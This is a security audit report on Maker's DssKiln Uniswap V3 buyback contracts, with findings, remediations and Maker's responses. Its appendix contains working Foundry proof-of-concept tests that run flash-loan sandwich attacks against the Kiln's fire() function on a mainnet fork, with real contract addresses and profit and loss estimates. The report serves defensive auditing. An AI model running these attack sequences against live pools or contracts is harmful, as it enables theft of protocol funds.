macro

Maker A-1

Security Audit

December 22, 2022
Version 1.0.0

Presented by 0xMacro

Table of Contents

Introduction

This document includes the results of the security audit for Maker's smart contract code as found in the section titled ‘Source Code’. The security audit was performed by the Macro security team from November 7, 2022 to November 18, 2022.

The purpose of this audit is to review the source code of certain Maker Solidity contracts, and provide feedback on the design, architecture, and quality of the source code with an emphasis on validating the correctness and security of the software in its entirety.

Disclaimer: While Macro’s review is comprehensive and has surfaced some changes that should be made to the source code, this audit should not solely be relied upon for security, as no single audit is guaranteed to catch all possible bugs.

Overall Assessment

The following is an aggregation of issues found by the Macro Audit team:

Severity	Count	Acknowledged	Won't Do	Addressed
Medium	1	1	-	-
Low	2	2	-	-
Code Quality	7	4	-	3
Informational	5	3	-	2

Maker was quick to respond to these issues.

Specification

Our understanding of the specification was based on the following sources:

- Discussions on Discord with the Maker team.
- Available documentation in the repository.
- Maker forum posts.

Source Code

The following source code was reviewed during the audit:

- Repository
- Commit Hash: `a4bd20c8c57a6dcb3535d3568a91e16c5353a831`

Specifically, we audited the following contracts within this repository:

Contract	SHA256
src/KilnBase.sol	`8d1472d66cd80ec603b8af4cc67285828ebb881649740ed0cdd8483d03563b26`
src/KilnMom.sol	`d3555e1632737cf8081e5af1071082068e0bea433996e362a23a80d98929b407`
src/KilnUniV3.sol	`854413a5c76466a83d4395cf52c426ff4719b3741a302f63326c2d302c73ca91`
src/univ3/BytesLib.sol	`00f1d1177402eb1b357aaaff9d9b9ec9ea1bebfbec824e5356132e2bf121a76b`
src/univ3/FullMath.sol	`1269930ef6e87e6ae4360b4f69648a9573a59ab7992f52d3482e633640150121`
src/univ3/Path.sol	`857fc0e551c747eadddfe9939ed0a298c1c4671a584bd5c686b2796f0c2da05a`
src/univ3/PoolAddress.sol	`c4ff4a56501ae3a7a69bcb6b92fe167ce6ced7fa1981cb57d75297528e399b0a`
src/univ3/TickMath.sol	`59348d5875ca1efa02deb639ccf5fa643f4327dc0aafcba16889e565df2175db`
src/univ3/TwapProduct.sol	`c8f3f34144c75a4cc2359d9e863408ec6cbe40f14ed581cf31379846a6581cf6`

Issue Descriptions and Recommendations

Click on an issue to jump to it, or scroll down to see them all.

- M-1 Sandwich attacks cause loss to Maker under volatile market conditions
- L-1 The buy token may not be the token that is actually bought and transferred to the recipient
- L-2 `Rug` event will be emitted even when the transfer of `sell` tokens fails
- ~~Q-1~~ Misleading documentation on the `yen` value
- ~~Q-2~~ `scope` can overflow when cast from `uint32` to `int32`
- Q-3 If `_min(GemLike(sell).balanceOf(address(this)), lot)` is greater than `type(uint128).max`, the swap will fail
- Q-4 Illiquidity in UNIV3 pool incentivizes oracle attack
- Q-5 `fire()` will revert if the `sell` token is not the same as the first token stated in the path
- Q-6 Incomplete configuration changes may allow undesirable swaps
- ~~Q-7~~ Misleading documentation regarding trading price
- ~~I-1~~ Attackers can use flash-swap to sandwich attack low-`yen` swaps, resulting in potentially significant losses due to manipulated slippage
- ~~I-2~~ Attackers can use flash-swap to sandwich attack swaps when `scope = 0`, resulting in potentially significant losses due to manipulated slippage
- I-3 Sharp downward price movement of token A will necessitate a low `yen` value
- I-4 Sharp upward price movement of token A may result in sandwich attack
- I-5 TWAP Oracles have become less secure after the transition from Proof of Work to Proof of Stake

Security Level Reference

We quantify issues in three parts:

1. The high/medium/low/spec-breaking **impact** of the issue:
    - How bad things can get (for a vulnerability)
    - The significance of an improvement (for a code quality issue)
    - The amount of gas saved (for a gas optimization)
2. The high/medium/low **likelihood** of the issue:
    - How likely is the issue to occur (for a vulnerability)
3. The overall critical/high/medium/low **severity** of the issue.

This third part – the severity level – is a summary of how much consideration the client should give to fixing the issue. We assign severity according to the table of guidelines below:

Severity	Description
(C-x) Critical	We recommend the client **must** fix the issue, no matter what, because not fixing would mean **significant funds/assets WILL be lost.**
(H-x) High	We recommend the client **must** address the issue, no matter what, because not fixing would be very bad, *or* some funds/assets will be lost, *or* the code's behavior is against the provided spec.
(M-x) Medium	We recommend the client to **seriously consider** fixing the issue, as the implications of not fixing the issue are severe enough to impact the project significantly, albiet not in an existential manner.
(L-x) Low	The risk is small, unlikely, or may not relevant to the project in a meaningful way. Whether or not the project wants to develop a fix is up to the goals and needs of the project.
(Q-x) Code Quality	The issue identified does not pose any obvious risk, but fixing could improve overall code quality, on-chain composability, developer ergonomics, or even certain aspects of protocol design.
(I-x) Informational	Warnings and things to keep in mind when operating the protocol. No immediate action required.
(G-x) Gas Optimizations	The presented optimization suggestion would save an amount of gas significant enough, in our opinion, to be worth the development cost of implementing it.

Issue Details

M-1 Sandwich attacks cause loss to Maker under volatile market conditions

TOPIC	STATUS	IMPACT	LIKELIHOOD
Sandwich Attack	Acknowledged	High	Medium

Background

The motivation for `DssKiln` is to help a DAO to implement a dollar-cost-average asset buying strategy; in particular, to implement it in a permissionless way. One way this is useful is for buying back a DAO's governance tokens — for example, MKR.

`DssKiln` allows anyone to call `fire()` in a permissionless way to swap `sell` tokens for `buy` tokens.

To avoid sandwich attacks targeting `kiln`'s swaps, `kiln` uses

1. the Uniswap V3 TWAP (Time Weighed Average Price) in `quote()`, and
2. multiplicative factor for accepting swap slippage, named `yen`

to calculate the minimum amount of `buy` tokens to accept in the swap.

The `amountMin` calculation in source is:

```
uint256 amountMin = (_yen != 0) ? quote(_path, amount, uint32(scope)) * _yen / WAD : 0;
```

Here is the initial use case for `Kiln`, communicated by the Maker team, indicating that it is unlikely there is a profitable attack, which we will try to refute:

> We do, however, believe that for the initial planned amount lot of 30K dai, over the planned path of [DAI, 0.01%, USDC, 0.05%, WETH, 0.3%, MKR], sandwiching would most likely be unprofitable

> due to the Uniswap fees on the 2 trades (even with min amount as 0, and even before accounting for gas). This can be roughly checked in any given moment by simulating a "buy mkr -> kiln.fire(lot=30K) -> sell mkr" sequence in a single tx, and checking if there is dai profit.

Issue

The `quote()` derived from TWAP can lag behind the spot price because averages like TWAP, by design, **lag behind the spot price** when the spot price sharply changes.

In a swap from A to B, **when B sharply drops in price, `quote()` overvalues the buy token, incentivizing a sandwich attack**. Below, we will quantitatively show this.

Attack Overview

Consider TWAP for B being 10% above the spot price. a) `quote()` would return an `amountOut` 10% lower than b) the `amountOut` derived from spot price. In other words, `kiln` accepts trades that are 10% overvalued.

Noticing this, an attacker can almost guarantee themself as the caller of `fire()` as soon as `kiln` is ready to swap again by using off-chain bots to call their malicious contract and then spend enough on priority fees.

Specifically, they will:

1. Take a flash loan
2. Swap WETH for MKR
3. Execute `fire()` on `KilnUniV3.sol`
4. Swap MKR back to WETH
5. Repay flash loan with fee `attackAmount` + `flashLoanFee`
6. Profit (attacker) and loss (MakerDAO)

Quantifying Loss

1. Proof of concept for the attack above.
2. This trading data analysis uses 3 months of data to show the average and worst loss, and discusses using 2nd TWAP as remediation.

Remediation

- Use a 2nd TWAP to detect price deviation and revert when necessary.
- Use a TWAMM, like FraxSwap, which greatly reduces the likelihood of sandwich attacks.
- Use off-chain oracles to get pricing information.
- Drop `lot` size to a smaller amount, like `15_000 DAI`. We could not turn a profit in the proof of concept attack using `15_000 DAI` and 10% price lag, but this may not hold in all market conditions.

RESPONSE BY MAKER

> Thank you for finding this sandwiching case. Indeed for every usage of dss-kiln the liquidity status along the path should be taken into account and `lot` should be selected carefully. Off chain oracles or TWAMMs should be considered for later versions.

L-1 The buy token may not be the token that is actually bought and transferred to the recipient

TOPIC	STATUS	IMPACT	LIKELIHOOD
Configuration Validation	Acknowledged	High	Low

The bought token is the last token stated in the `path`.

However, this token may not necessarily be the same as the `buy` token set in the constructor.

Therefore, a different token can be bought that is not the `buy` token, and `sell` tokens will be lost.

Proof of concept

Remediation

- When the path is set, ensure that the last token in the path is the `buy` token.
- Document this behavior sufficiently for external users.

RESPONSE BY MAKER

> The buy token should be configured carefully and validated prior to deployment.

L-2 `Rug` event will be emitted even when the transfer of `sell` tokens fails

TOPIC	STATUS	IMPACT	LIKELIHOOD
User Experience	Acknowledged	Low	Low

In `KilnBase.sol` line 96, there is no guarantee that the `sell` token reverts when the `transfer` function fails. The transfer could be unsuccessful and return `false`, and the `Rug` event will still be emitted. This could cause confusion for the authority and users of the contract.

Remediation

- Call `safeTransfer` instead of `transfer`.
- Document that `Rug` events for tokens that return `false` on `transfer` failure can be incorrect.

RESPONSE BY MAKER

> Although using a token that only relies on a return value is possible, we think it is generally rare and unlikely for Maker to do. Therefore we would rather not complicate the code as long as it is not a clear security issue.

Q-1 Misleading documentation on the `yen` value

TOPIC	STATUS	QUALITY IMPACT
Documentation	Addressed	High

Regarding `yen`, README.md states: “By **lowering** this value you can seek to trade at a better than average price, or by **raising** the value you can account for price impact or additional slippage.” (bold added). However, the opposite is true.

Remediation

Consider switching `lowering` and `raising`.

RESPONSE BY MAKER

> Switched "lowering" and "raising" as suggested.

~~Q-2~~ `scope` can overflow when cast from `uint32` to `int32`

TOPIC	STATUS	QUALITY IMPACT
Configuration Validation	Addressed	High

In `TwapProduct.sol`:

```
function _consult(...uint32 scope) ... {
    ...
    arithmeticMeanTick = int24(tickCumulativesDelta / int56(int32(scope)));
  ...
}

function quote(...) ... {
  ...
    int24 arithmeticMeanTick = _consult(_getPool(tokenIn, tokenOut, fee), scope);
  ...
    amountIn = _getQuoteAtTick(arithmeticMeanTick, uint128(amountIn), tokenIn, tokenOut
}
```

This will cause the variable `arithmeticMeanTick` to be incorrect, which will result in an incorrect value returned from `_getQuoteAtTick()`. However, currently, `scope` values as low as `4 hours` revert with `OLD` (source) so this scenario is particularly unlikely.

Remediation

Consider changing

- `require(data <= type(uint32).max, "KilnUniV3/scope-overflow");` to
- `require(data <= type(int32).max, "KilnUniV3/scope-overflow");` in `KilnUniV3.sol`.

RESPONSE BY MAKER

> Now checking `scope` is lower than `type(int32).max`

Q-3 If `_min(GemLike(sell).balanceOf(address(this)), lot)` is greater than `type(uint128).max`, the swap will fail

TOPIC	STATUS	QUALITY IMPACT
Input Validation	Acknowledged	High

In `TwapProduct.sol` line 49, an overflow error will occur if the `amountIn` being swapped is greater than `type(uint128).max.` The amount being swapped is the minimum amount of `GemLike(sell).balanceOf(address(this))` and `lot` in `KilnBase.sol`.

However, nothing is preventing either of these two values from being greater than `type(uint128).max`.

If both of them are greater than this value, the swap will revert to an overflow error.

Proof of concept

RESPONSE BY MAKER

> We think the explicit require in `quote` is enough for this low probability case.

Q-4 **Illiquidity in UNIV3 pool incentivizes oracle attack**

TOPIC	STATUS	QUALITY IMPACT
Liquidity	Acknowledged	High

Illiquidity comes in 3 forms: no liquidity, concentrated, and skewed.

Using a TWAP of pool with **no liquidity** is easily manipulated. For example, for an A -> B swap, an attacker can, at virtually no cost, bring the price of A close to 0 by selling A into the pool, and keep the price there for some number of blocks to change the TWAP.

For a **concentrated** pool, the attacker can sell A into the pool until B liquidity is consumed, then the scenario is reduced to the no liquidity case. As the liquidity is concentrated, loss to slippage is small compared to a skewed pool.

For a **skewed** pool, the attacker can sell A into the pool as in the concentrated case, but the loss to slippage is higher because of the above-market price attacker is paying for B.

Remediation

Consider providing sufficient documentation and a warning for Maker's proposal draft and stakeholders as well as public users on how to detect illiquidity.

More materials from Euler

RESPONSE BY MAKER

> Thank you for highlighting these considerations. They should be taken into account and monitored per deployment.

Q-5 `fire()` will revert if the `sell` token is not the same as the first token stated in the path

TOPIC	STATUS	QUALITY IMPACT
Configuration Validation	Acknowledged	Medium

The token that `kiln` tries to sell is the first token stated in the `path`.

However, this token may not necessarily be the same as the `sell` token set in the constructor.

Therefore, the Kiln can try to sell a different token but will revert since the Router only has the approval to transfer the `sell` token.

Proof of concept

Remediation

- When the path is set, ensure that the first token in the path is the `sell` token.
- Document this behavior.

RESPONSE BY MAKER

> The sell token should be configured carefully and validated prior to deployment.

Q-6 Incomplete configuration changes may allow undesirable swaps

TOPIC	STATUS	QUALITY IMPACT
Configuration Validation	Acknowledged	Medium

Kilns expose separate functions to update individual configuration values. This potentially requires users to perform multiple transactions to affect the full set of changes.

This incurs higher gas costs and also creates risk in that the parameters may be only partially updated to their final state when `fire()` is triggered, which may allow undesirable swaps to be executed.

Remediation

Consider updating the contract to allow the entire set of configurations to be updated atomically. For example, adding a function that allows all configurations to be modified at once.

RESPONSE BY MAKER

> The single value configuration is the common practice in Maker contracts but indeed requires changes to be done carefully and to be validated prior to deployment.

~~Q-7~~ Misleading documentation regarding trading price

TOPIC	STATUS	QUALITY IMPACT
Documentation	Addressed	Low

The README.md states:

- "the KilnUniV3 implementation will only buy tokens when it can trade at a price *better than* the previous 1 hour average."
- "By default, `yen` is set to `WAD`, which will require that a trade will only execute when the amount received is *better than* the average price over the past `scope` period."

However, `KilnUniV3.sol` calculates the average price over the past `scope` period and only buys tokens when it can trade at a price better **or the same as** the previous 1-hour average, as seen on line 165 of Uniswap V3's `SwapRouter.sol`.

Remediation

Change the documentation to state:

- “the KilnUniV3 implementation will only buy tokens when it can trade at a price *better than or the same as* the previous 1 hour average.”
- “By default, `yen` is set to `WAD`, which will require that a trade will only execute when the amount received is *better than or the same as* the average price over the past `scope` period.”

RESPONSE BY MAKER

> Fixed documentation to use "better or the same" phrasing.

Attackers can use flash-swap to sandwich attack low-`yen` swaps, resulting in potentially significant losses due to manipulated slippage

TOPIC	STATUS	IMPACT
Configuration Validation	Addressed	Informational

An attacker can execute `fire()` inside a flash-loan callback: they sandwich attack the kiln `path` pools. The impact and attractiveness of such an attack are controlled by `amountMin`, which is partially controlled by `yen` (ref).

The `amountMin` calculation is:

```
uint256 amountMin = (_yen != 0) ? quote(_path, amount, uint32(scope)) * _yen / WAD : 0;
```

The most damaging consequences occur when `yen` is 0 and `amountMin` is also 0. This allows swaps to be complete with unbounded slippage and/or price impact.

The potential for damage decreases linearly as `yen` increases until it yields an `amountMin` corresponding to the market price or its TWAP value.

For example, consider a simple `UniV3Kiln` with `path` = `abi.encodePacked(WETH, uint24(3000), MKR)` and `yen` = `0`.

An attacker can take a large WETH flash-loan, and inside its callback:

1. Swap the loaned WETH for MKR in the same pool as `path`.
2. Execute `kiln.fire()`, now based on highly unfavorable slippage.
3. Swap their MKR for WETH, now based on highly favorable slippage.
4. Repay their loaned WETH and take profit.

In this way, an attacker can create a flash loan to set a level of slippage which forces `amountOut` down to `amountMin`.

Consider limiting the minimum value of `yen`.

Proof of concept

RESPONSE BY MAKER

> Added a warning in the source and Readme for cautiously using yen = 0 or other low values.

I-2 Attackers can use flash-swap to sandwich attack swaps when `scope = 0`, resulting in potentially significant losses due to manipulated slippage

TOPIC	STATUS	IMPACT
Configuration Validation	Addressed	Informational

This issue is very similar to I-1 in impact.

Proof of concept

Consider enforcing a sane minimum when setting `scope` in `file(bytes32 what, uint256 data)` and removing support for `scope == 0` in `_consult()`.

RESPONSE BY MAKER

> "Removed support for scope = 0.
>
> Added a warning in the source and Readme for cautiously using low scope values."

I-3 Sharp downward price movement of token A will necessitate a low `yen` value

TOPIC	STATUS	IMPACT
User Experience	Acknowledged	Informational ✳

Imagine the following scenario:

- Swapping A to B
- `yen` = `WAD`
- `scope` = `6 hours`
- The price of A is going down over the last 6 hours (in other words, the price of B is going up), with a sharp decrease in the last 30 minutes.

As long as `yen` = `WAD` and the downward trend continues, all calls to `fire()` will revert because the TWAP-based `amountMin` will be higher than what is received based on the spot price. A `yen` value of ~0.75 or less may be needed in some scenarios to maintain consistent purchasing during a price drop for A.

Keep this in mind considering that MakerDAO has expressed not wanting to manually monitor `yen`.

RESPONSE BY MAKER

> Depending on the needs of the specific use case (maximizing revenues or throughput, always avoiding sandwich attacks, etc..) `yen` might need to be adjusted over time.

I-4 Sharp upward price movement of token A may result in sandwich attack

TOPIC	STATUS	IMPACT
Sandwich Attack	Acknowledged	Informational ✳

Imagine the following scenario:

- Swapping A to B
- `yen` = `WAD`
- `scope` = `6 hours`
- The price of A is going up over the last 6 hours, with a sharp increase in the last 30 minutes.

As long as the upward trend continues, the `TWAPedOut` will be significantly lower than the `currentPriceOut`, potentially resulting in a sandwich attack. This problem is exacerbated by lower values of `yen`.

Imagine a swap where `yen` = `WAD`, and the delta between the TWAP `amountOut` and the spot `amountOut` alone may not be large enough to make a sandwich attack profitable. However, the implicit scaling down of `amountOutMinimum` due to the lagging TWAP price, and the explicit scaling down by `yen` = `98 * WAD / 100`, may make such an attack profitable.

Keep this in mind, considering that MakerDAO has expressed not wanting to manually monitor `yen`.

RESPONSE BY MAKER

> Depending on the needs of the specific use case (maximizing revenues or throughput, always avoiding sandwich attacks, etc..) `yen` might need to be adjusted over time.

I-5 TWAP Oracles have become less secure after the transition from Proof of Work to Proof of Stake

TOPIC	STATUS	IMPACT
Sandwich Attack	Acknowledged	Informational

Due to the adoption of PoS, the next block proposer is known 6 minutes and 24 seconds in advance. If a validator knows it's in control of two consecutive blocks, it can now ensure that it back-runs its manipulation in the second block — something which was impossible to know in PoW.

An example:

- A validator can swap a large amount of one asset into the pool in the first block.
- Then can swap the same amount in the opposite direction in the second block.
- An oracle update will occur at the manipulated price of the first block.

This manipulation is done risk-free since the validator/manipulator has full control over transaction ordering in the second block, making it impossible for arbitrageurs to interfere.

This requires a large amount of capital, but the more blocks a validator has in a row, the more the cost of manipulation decreases and becomes more feasible.

If the TWAP oracle gets manipulated, this can affect the `amountMin` value that KilnUniV3 calculates in `_swap`. It can cause the `amountMin` to be lower than expected and slippage to occur.

Lower values of `yen` can exacerbate the problem.

RESPONSE BY MAKER

> If multi-block oracle manipulation becomes a common problem the usage of this version of dss-kiln would need to be revised.

(M-1) Proof of Concept

To compute the arbitrage loss, in particular the worst-case scenario, this proof of concept will:

1. assume a) TWAP for B in a swap from A to B being 10% higher than b) spot price,
2. attack WETH to MKR swaps and use the Uniswap V3 MKR-ETH 0.3% pool as the trading venue, and
3. use the pool's state on 2022/11/17 on mainnet (block number 15992230); in particular, use the pool's reserve amounts.

Findings

Using a flash loan of `235 WETH` means:

- **Attacker profits `0.419 WETH`, before accounting for gas or priority fee.**
- **Slippage loss is `3.649 MKR`.**

As per Maker, the initial plan is to execute `fire()` of a lot size `30,000 DAI` for 100 times for a total of 3 million DAI.

Considering the worst case, where there is a 10% price lag during each `fire()`, then:

- **The estimated loss for MakerDAO would be `364.9 MKR` = 3.649 MKR * 100.**
- **The estimated gain for the attacker would be `41.9 WETH` = 0.419 WETH * 100.**
- **`364.9 MKR` * `$660.00` (current market price of `MKR`) = `$240,834` loss for Maker.**
- **`$240,834` / 3 million DAI = an overall loss of 8.0278%**

Proof of Concept [1]

```
// forge test --use solc:0.8.14 --rpc-url=$ETH_RPC_URL --match testTWAPMispriceShortPat

// Copy into existing KilnUniV3.t.sol
contract Attacker {}

// Same as swap but paths are WETH->MKR or MKR->WETH and to arg

function shortRecipSwap(address gem, uint256 amount, address to) public {
    require(GemLike(gem).approve(kiln.uniV3Router(), amount));

    bytes memory _path;
    if (gem == WETH) {
        _path = abi.encodePacked(WETH, uint24(3000), MKR);
    } else {
        _path = abi.encodePacked(MKR, uint24(3000), WETH);
    }

    ExactInputParams memory params = ExactInputParams(
        _path,
        to,                    // recipient
        block.timestamp,       // deadline
        amount,                // amountIn
        0                      // amountOutMinimum
    );

    SwapRouterLike(kiln.uniV3Router()).exactInput(params);
  }

function testTWAPMispriceShortPath() public {
```

```
    Attacker attacker = new Attacker(); //just an empty contract

    kiln.file("lot", 30_000 * WAD); // drop to expected lot size
    //use this as a proxy for quote returning amountOut value that is 10% lower than sp
    kiln.file("yen", 90 * WAD / 100);
    kiln.file("scope", 4 hours);

    mintDai(address(kiln), 30_000 * WAD);

    assertEq(GemLike(DAI).balanceOf(address(kiln)), 30_000 * WAD);
    uint256 mkrSupply = TestGem(MKR).totalSupply();
    assertTrue(mkrSupply > 0);

    uint256 _est = estimate(30_000 * WAD);
    assertTrue(_est > 0);
    assertEq(GemLike(MKR).balanceOf(address(attacker)), 0);

    //-------Start attack executing atomically----------
    vm.startPrank(address(attacker));

    uint256 loanAmt = 235 ether; // .419 ether profit, 3.649 mkr loss

    mintWeth(address(attacker), loanAmt); // funds for manipulating prices, assume this

    // drive down MKR out amount with big WETH->MKR swap
    shortRecipSwap(WETH, loanAmt, address(attacker)); //same as recipSwap, just with sh

    kiln.fire();

    assertTrue(GemLike(DAI).balanceOf(address(kiln)) < 30_000 * WAD);
    assertLt(GemLike(MKR).balanceOf(address(user)), _est);

    shortRecipSwap(MKR, GemLike(MKR).balanceOf(address(attacker)), address(attacker));
    assertGt(GemLike(WETH).balanceOf(address(attacker)), loanAmt);

    //payback loan with interest
    uint256 flashLoanFee = loanAmt * 9 / 10_000;
    GemLike(WETH).transfer(WETH, loanAmt + flashLoanFee);

    vm.stopPrank();
    //----------End attack atomic execution-------------

    console.log("Attacker profit: %s", GemLike(WETH).balanceOf(address(attacker)));
    console.log("Kiln receiver MKR Loss: %s ", (_est - GemLike(MKR).balanceOf(address(u
    console.log("Kiln receiver MKR Loss: %s WAD", (_est - GemLike(MKR).balanceOf(addres
}
```

[1] Reason for `yen` setting

For emulating an over-valuation due to price lag, note that a) `yen = 90 * WAD / 100` and b) `quote` returning value close to spot-price-derived `amountOut` is equivalent to c) `yen = WAD` and d) `quote` returning a value 10% lower than spot price `amountOut`.

(L-1) Proof of Concept

To demonstrate the issue, copy the following content into `src/KilnUniV3.t.sol` and run `forge test --use solc:0.8.14 --rpc-url="$ETH_RPC_URL" -vvv --match-test testFireWithIncorrectBuyPath`.

```
function testFireWithIncorrectBuyPath() public {
      mintDai(address(kiln), 50_000 * WAD);

      assertEq(GemLike(MKR).balanceOf(address(user)), 0);

      kiln.file("yen", 80 * WAD / 100);

      assertEq(GemLike(WETH).balanceOf(address(user)), 0);

      // Configure path to buy WETH
      kiln.file("path", abi.encodePacked(DAI, uint24(100), USDC, uint24(500), WETH));
      assertEq(kiln.path(), abi.encodePacked(DAI, uint24(100), USDC, uint24(500), WETH)

      // Show that kiln buy is still MKR
      assertEq(kiln.buy(), MKR);
      kiln.fire();

      // Swap results in acquiring the non-buy token
      assertEq(GemLike(MKR).balanceOf(address(user)), 0);
      assertTrue(GemLike(WETH).balanceOf(address(user)) > 0);
}
```

(Q-3) Proof of Concept

Copy the following content into `src/KilnUniV3.t.sol` and run `forge test --use solc:0.8.14 --rpc-url="$ETH_RPC_URL" -vvv --match-test testFireWithMaxLot`.

```
function testFireWithMaxLot() public {
       mintDai(address(kiln), type(uint128).max + 1);
           assertEq(GemLike(DAI).balanceOf(address(kiln)), type(uint128).max + 1);
           kiln.file("yen", 80 * WAD / 100);
           kiln.file("lot", type(uint128).max + 1);
           vm.expectRevert("TwapProduct/amountIn-overflow");
           kiln.fire();
}
```

(Q-5) Proof of Concept

To demonstrate this issue, copy the following content into `src/KilnUniV3.t.sol` and run `forge test --use solc:0.8.14 --rpc-url="$ETH_RPC_URL" -vvv --match-test testFireWithIncorrectSellPath`

```
function mintUSDC(address usr, uint256 amt) internal {
      deal(USDC, usr, amt);
      assertEq(GemLike(USDC).balanceOf(address(usr)), amt);
}

function testFireWithIncorrectSellPath() public {
      mintUSDC(address(kiln), 50_000 * WAD);
      mintDai(address(kiln), 50_000 * WAD);

      assertEq(GemLike(USDC).balanceOf(address(user)), 0);
      assertEq(GemLike(MKR).balanceOf(address(user)), 0);

      kiln.file("path", abi.encodePacked(USDC, uint24(100), DAI));

      assertEq(kiln.sell(), DAI);
      assertEq(kiln.buy(), MKR);
```

```
        // This fails due to mismatch between kiln sell token and path
        vm.expectRevert();
        kiln.fire();
    }
```

(I-1) Proof of Concept

To demonstrate this issue, copy the following content to `src/Macro_UniV3Kiln.t.sol` and run `forge test --use solc:0.8.14 --rpc-url="$ETH_RPC_URL" --match-path src/Macro_KilnUniV3.t.sol -vvv`

```
// SPDX-FileCopyrightText: © 2022 Dai Foundation www.daifoundation.org
// SPDX-License-Identifier: AGPL-3.0-or-later
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program.  If not, see <http://www.gnu.org/licenses>.

pragma solidity ^0.8.14;

import "forge-std/Test.sol";
import "./KilnUniV3.sol";

interface TestGem {
    function totalSupply() external view returns (uint256);
}

// <https://github.com/Uniswap/v3-periphery/blob/v1.0.0/contracts/lens/Quoter.sol#L106-
interface Quoter {
    function quoteExactInput(
        bytes calldata path,
        uint256 amountIn
    ) external returns (uint256 amountOut);
```

```
}

contract User {}

contract KilnTest is Test {
    KilnUniV3 kiln;
    Quoter quoter;
    User user;

    bytes path;

    address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant MKR  = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2;

    uint256 constant WAD = 1e18;
    uint256 constant LOT = 1_000 * WAD;

    address constant ROUTER   = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
    address constant QUOTER   = 0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6;
    address constant FACTORY  = 0x1F98431c8aD98523631AE4a59f267346ea31F984;

    event File(bytes32 indexed what, bytes data);
    event File(bytes32 indexed what, uint256 data);

    function setUp() public {
        user = new User();
        path = abi.encodePacked(WETH, uint24(3000), MKR);

        kiln = new KilnUniV3(WETH, MKR, ROUTER, address(user));
        quoter = Quoter(QUOTER);

        kiln.file("lot", LOT);
        kiln.file("hop", 6 hours);
        kiln.file("path", path);
    }

    function mintWeth(address usr, uint256 amt) internal {
        deal(WETH, usr, amt);
        assertEq(GemLike(WETH).balanceOf(address(usr)), amt);
    }

    function estimate(uint256 amtIn) internal returns (uint256 amtOut) {
        return quoter.quoteExactInput(path, amtIn);
    }

    function swap(address gem, uint256 amount) internal {
        require(GemLike(gem).approve(kiln.uniV3Router(), amount));

        bytes memory _path;
```

```
        if (gem == WETH) {
            _path = abi.encodePacked(WETH, uint24(3000), MKR);
        } else {
            _path = abi.encodePacked(MKR, uint24(3000), WETH);
        }

        ExactInputParams memory params = ExactInputParams(
            _path,
            address(this),       // recipient
            block.timestamp,     // deadline
            amount,              // amountIn
            0                    // amountOutMinimum
        );

        SwapRouterLike(kiln.uniV3Router()).exactInput(params);
    }

    function testFlashLoanAttack_LowYen() public {
        kiln.file("yen", 0);
        uint256 wethFlashLoanAmt = 100_000 * WAD;

        mintWeth(address(kiln), LOT);
        assertEq(GemLike(WETH).balanceOf(address(kiln)), LOT);

        // Estimate what a swap would yield if no attack was occurring
        uint256 _nonAttackEstimate = estimate(LOT);
        console2.log("Kiln Receiver MKR Estimate: %s  <=====", _nonAttackEstimate);
        console2.log("");

        // Emulate flash-loan attack where attacker receives a large amount of
        // WETH, and in the flash-loan callback:
        // 1) swaps loaned WETH for MKR in same pool used by kiln
        // 2) executes kiln.fire(), now based on highly unfavorable slippage
        // 3) swaps MKR for WETH, now based on highly favorable slippage
        // 4) repays loan and takes profit

        // Emulate large flash-loan of WETH
        console2.log("** Begin flashloan of WETH: ", wethFlashLoanAmt);
        mintWeth(address(this), wethFlashLoanAmt);
        uint256 _attackerMKR = GemLike(MKR).balanceOf(address(this));
        console2.log("      Attacker MKR:  ", _attackerMKR);
        uint256 _attackerWETH = GemLike(WETH).balanceOf(address(this));
        console2.log("      Attacker WETH: ", _attackerWETH);
        assertEq(_attackerWETH, wethFlashLoanAmt);

        // 1) swaps loaned WETH for MKR in same pool used by kiln
        console2.log("** 1) swaps loaned WETH for MKR in same pool used by kiln");
        swap(WETH, wethFlashLoanAmt);
        _attackerMKR = GemLike(MKR).balanceOf(address(this));
```

```
        console2.log("      Attacker MKR:  ", _attackerMKR);
        _attackerWETH = GemLike(WETH).balanceOf(address(this));
        console2.log("      Attacker WETH: ", _attackerWETH);

        // 2) executes kiln.fire(), now based on significant slippage
        console2.log("** 2) executes kiln.fire(), now based on significant slippage");
        kiln.fire();
        uint256 _receiverMkr = GemLike(MKR).balanceOf(kiln.receiver());
        console2.log("      Kiln Receiver MKR:  %s <=====", _receiverMkr);

        // 3) swaps MKR for WETH, now based on highly favorable slippage
        console2.log("** 3) swaps MKR for WETH, now based on highly favorable slippage'
        swap(MKR, _attackerMKR);
        _attackerMKR = GemLike(MKR).balanceOf(address(this));
        console2.log("      Attacker MKR:  ", _attackerMKR);
        _attackerWETH = GemLike(WETH).balanceOf(address(this));
        console2.log("      Attacker WETH: ", _attackerWETH);

        // 4) repays loan and takes profit
        console2.log("** 4) repays loan and takes profit");
        uint256 flashLoanFee = wethFlashLoanAmt * 9 / 10_000;
        GemLike(WETH).transfer(WETH, wethFlashLoanAmt + flashLoanFee);

        console2.log("");
        console2.log("Kiln receiver MKR Loss: %s WAD", (_nonAttackEstimate - _receiverM
        _attackerWETH = GemLike(WETH).balanceOf(address(this));
        console2.log("Attacker WETH profit:   %s WAD", _attackerWETH / WAD);
    }
}
```

(I-2) Proof of Concept

Modify the first line of `testFlashLoanAttack()` from I-1 Proof of Concept as the following:

```
function testFlashLoanAttack() public {
    // kiln.file("yen", 0);            // commented out
    kiln.file("yen", 98 * WAD / 100);
    kiln.file("scope", 0);
    // remaining is unchanged
```

```
    ...
}
```

Disclaimer

Macro makes no warranties, either express, implied, statutory, or otherwise, with respect to the services or deliverables provided in this report, and Macro specifically disclaims all implied warranties of merchantability, fitness for a particular purpose, noninfringement and those arising from a course of dealing, usage or trade with respect thereto, and all such warranties are hereby excluded to the fullest extent permitted by law.

